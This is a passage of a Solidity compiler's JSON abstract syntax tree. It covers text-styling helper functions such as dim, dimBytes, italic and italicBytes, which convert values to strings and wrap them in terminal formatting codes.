memory)"}},"id":10253,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7487:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10249,"name":"dim","nodeType":"Identifier","overloadedDeclarations":[10197,10212,10227,10242,10257],"referencedDeclaration":10197,"src":"7483:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7483:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10248,"id":10255,"nodeType":"Return","src":"7476:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dim","nameLocation":"7413:3:9","parameters":{"id":10245,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10244,"mutability":"mutable","name":"self","nameLocation":"7422:4:9","nodeType":"VariableDeclaration","scope":10257,"src":"7417:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10243,"name":"bool","nodeType":"ElementaryTypeName","src":"7417:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"7416:11:9"},"returnParameters":{"id":10248,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10247,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10257,"src":"7451:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10246,"name":"string","nodeType":"ElementaryTypeName","src":"7451:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7450:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10272,"nodeType":"FunctionDefinition","src":"7518:121:9","nodes":[],"body":{"id":10271,"nodeType":"Block","src":"7593:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10267,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10259,"src":"7626:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":10265,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"7614:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10266,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7617:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"7614:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":10268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7614:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10264,"name":"dim","nodeType":"Identifier","overloadedDeclarations":[10197,10212,10227,10242,10257],"referencedDeclaration":10197,"src":"7610:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7610:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10263,"id":10270,"nodeType":"Return","src":"7603:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dimBytes","nameLocation":"7527:8:9","parameters":{"id":10260,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10259,"mutability":"mutable","name":"self","nameLocation":"7549:4:9","nodeType":"VariableDeclaration","scope":10272,"src":"7536:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10258,"name":"bytes","nodeType":"ElementaryTypeName","src":"7536:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7535:19:9"},"returnParameters":{"id":10263,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10262,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10272,"src":"7578:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10261,"name":"string","nodeType":"ElementaryTypeName","src":"7578:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7577:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10287,"nodeType":"FunctionDefinition","src":"7645:118:9","nodes":[],"body":{"id":10286,"nodeType":"Block","src":"7717:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10282,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10274,"src":"7750:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":10280,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"7738:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10281,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7741:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"7738:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":10283,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7738:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10279,"name":"dim","nodeType":"Identifier","overloadedDeclarations":[10197,10212,10227,10242,10257],"referencedDeclaration":10197,"src":"7734:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10284,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7734:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10278,"id":10285,"nodeType":"Return","src":"7727:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dimBytes32","nameLocation":"7654:10:9","parameters":{"id":10275,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10274,"mutability":"mutable","name":"self","nameLocation":"7673:4:9","nodeType":"VariableDeclaration","scope":10287,"src":"7665:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":10273,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7665:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"7664:14:9"},"returnParameters":{"id":10278,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10277,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10287,"src":"7702:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10276,"name":"string","nodeType":"ElementaryTypeName","src":"7702:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7701:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10300,"nodeType":"FunctionDefinition","src":"7769:123:9","nodes":[],"body":{"id":10299,"nodeType":"Block","src":"7843:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":10295,"name":"ITALIC","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9434,"src":"7872:6:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10296,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10289,"src":"7880:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10294,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"7860:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":10297,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7860:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10293,"id":10298,"nodeType":"Return","src":"7853:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"italic","nameLocation":"7778:6:9","parameters":{"id":10290,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10289,"mutability":"mutable","name":"self","nameLocation":"7799:4:9","nodeType":"VariableDeclaration","scope":10300,"src":"7785:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10288,"name":"string","nodeType":"ElementaryTypeName","src":"7785:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7784:20:9"},"returnParameters":{"id":10293,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10292,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10300,"src":"7828:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10291,"name":"string","nodeType":"ElementaryTypeName","src":"7828:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7827:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10315,"nodeType":"FunctionDefinition","src":"7898:117:9","nodes":[],"body":{"id":10314,"nodeType":"Block","src":"7966:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10310,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10302,"src":"8002:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":10308,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"7990:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10309,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7993:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"7990:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":10311,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7990:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10307,"name":"italic","nodeType":"Identifier","overloadedDeclarations":[10300,10315,10330,10345,10360],"referencedDeclaration":10300,"src":"7983:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10312,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7983:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10306,"id":10313,"nodeType":"Return","src":"7976:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"italic","nameLocation":"7907:6:9","parameters":{"id":10303,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10302,"mutability":"mutable","name":"self","nameLocation":"7922:4:9","nodeType":"VariableDeclaration","scope":10315,"src":"7914:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":10301,"name":"uint256","nodeType":"ElementaryTypeName","src":"7914:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7913:14:9"},"returnParameters":{"id":10306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10305,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10315,"src":"7951:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10304,"name":"string","nodeType":"ElementaryTypeName","src":"7951:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7950:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10330,"nodeType":"FunctionDefinition","src":"8021:116:9","nodes":[],"body":{"id":10329,"nodeType":"Block","src":"8088:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10325,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10317,"src":"8124:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":10323,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"8112:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10324,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8115:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"8112:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":10326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8112:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10322,"name":"italic","nodeType":"Identifier","overloadedDeclarations":[10300,10315,10330,10345,10360],"referencedDeclaration":10300,"src":"8105:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10327,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8105:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10321,"id":10328,"nodeType":"Return","src":"8098:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"italic","nameLocation":"8030:6:9","parameters":{"id":10318,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10317,"mutability":"mutable","name":"self","nameLocation":"8044:4:9","nodeType":"VariableDeclaration","scope":10330,"src":"8037:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10316,"name":"int256","nodeType":"ElementaryTypeName","src":"8037:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"8036:13:9"},"returnParameters":{"id":10321,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10320,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10330,"src":"8073:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10319,"name":"string","nodeType":"ElementaryTypeName","src":"8073:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8072:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10345,"nodeType":"FunctionDefinition","src":"8143:117:9","nodes":[],"body":{"id":10344,"nodeType":"Block","src":"8211:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10340,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10332,"src":"8247:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":10338,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"8235:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10339,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8238:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"8235:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":10341,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8235:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10337,"name":"italic","nodeType":"Identifier","overloadedDeclarations":[10300,10315,10330,10345,10360],"referencedDeclaration":10300,"src":"8228:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8228:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10336,"id":10343,"nodeType":"Return","src":"8221:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"italic","nameLocation":"8152:6:9","parameters":{"id":10333,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10332,"mutability":"mutable","name":"self","nameLocation":"8167:4:9","nodeType":"VariableDeclaration","scope":10345,"src":"8159:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10331,"name":"address","nodeType":"ElementaryTypeName","src":"8159:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8158:14:9"},"returnParameters":{"id":10336,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10335,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10345,"src":"8196:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10334,"name":"string","nodeType":"ElementaryTypeName","src":"8196:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8195:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10360,"nodeType":"FunctionDefinition","src":"8266:114:9","nodes":[],"body":{"id":10359,"nodeType":"Block","src":"8331:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10355,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10347,"src":"8367:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":10353,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"8355:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10354,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8358:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"8355:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":10356,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8355:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10352,"name":"italic","nodeType":"Identifier","overloadedDeclarations":[10300,10315,10330,10345,10360],"referencedDeclaration":10300,"src":"8348:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10357,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8348:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10351,"id":10358,"nodeType":"Return","src":"8341:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"italic","nameLocation":"8275:6:9","parameters":{"id":10348,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10347,"mutability":"mutable","name":"self","nameLocation":"8287:4:9","nodeType":"VariableDeclaration","scope":10360,"src":"8282:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10346,"name":"bool","nodeType":"ElementaryTypeName","src":"8282:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8281:11:9"},"returnParameters":{"id":10351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10350,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10360,"src":"8316:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10349,"name":"string","nodeType":"ElementaryTypeName","src":"8316:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8315:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10375,"nodeType":"FunctionDefinition","src":"8386:127:9","nodes":[],"body":{"id":10374,"nodeType":"Block","src":"8464:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10370,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10362,"src":"8500:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":10368,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"8488:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10369,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8491:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"8488:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":10371,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8488:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10367,"name":"italic","nodeType":"Identifier","overloadedDeclarations":[10300,10315,10330,10345,10360],"referencedDeclaration":10300,"src":"8481:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10372,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8481:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10366,"id":10373,"nodeType":"Return","src":"8474:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"italicBytes","nameLocation":"8395:11:9","parameters":{"id":10363,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10362,"mutability":"mutable","name":"self","nameLocation":"8420:4:9","nodeType":"VariableDeclaration","scope":10375,"src":"8407:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10361,"name":"bytes","nodeType":"ElementaryTypeName","src":"8407:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"8406:19:9"},"returnParameters":{"id":10366,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10365,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10375,"src":"8449:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10364,"name":"string","nodeType":"ElementaryTypeName","src":"8449:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8448:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10390,"nodeType":"FunctionDefinition","src":"8519:124:9","nodes":[],"body":{"id":10389,"nodeType":"Block","src":"8594:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10385,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10377,"src":"8630:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":10383,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"8618:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10384,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8621:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"8618:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":10386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8618:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10382,"name":"italic","nodeType":"Identifier","overloadedDeclarations":[10300,10315,10330,10345,10360],"referencedDeclaration":10300,"src":"8611:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string 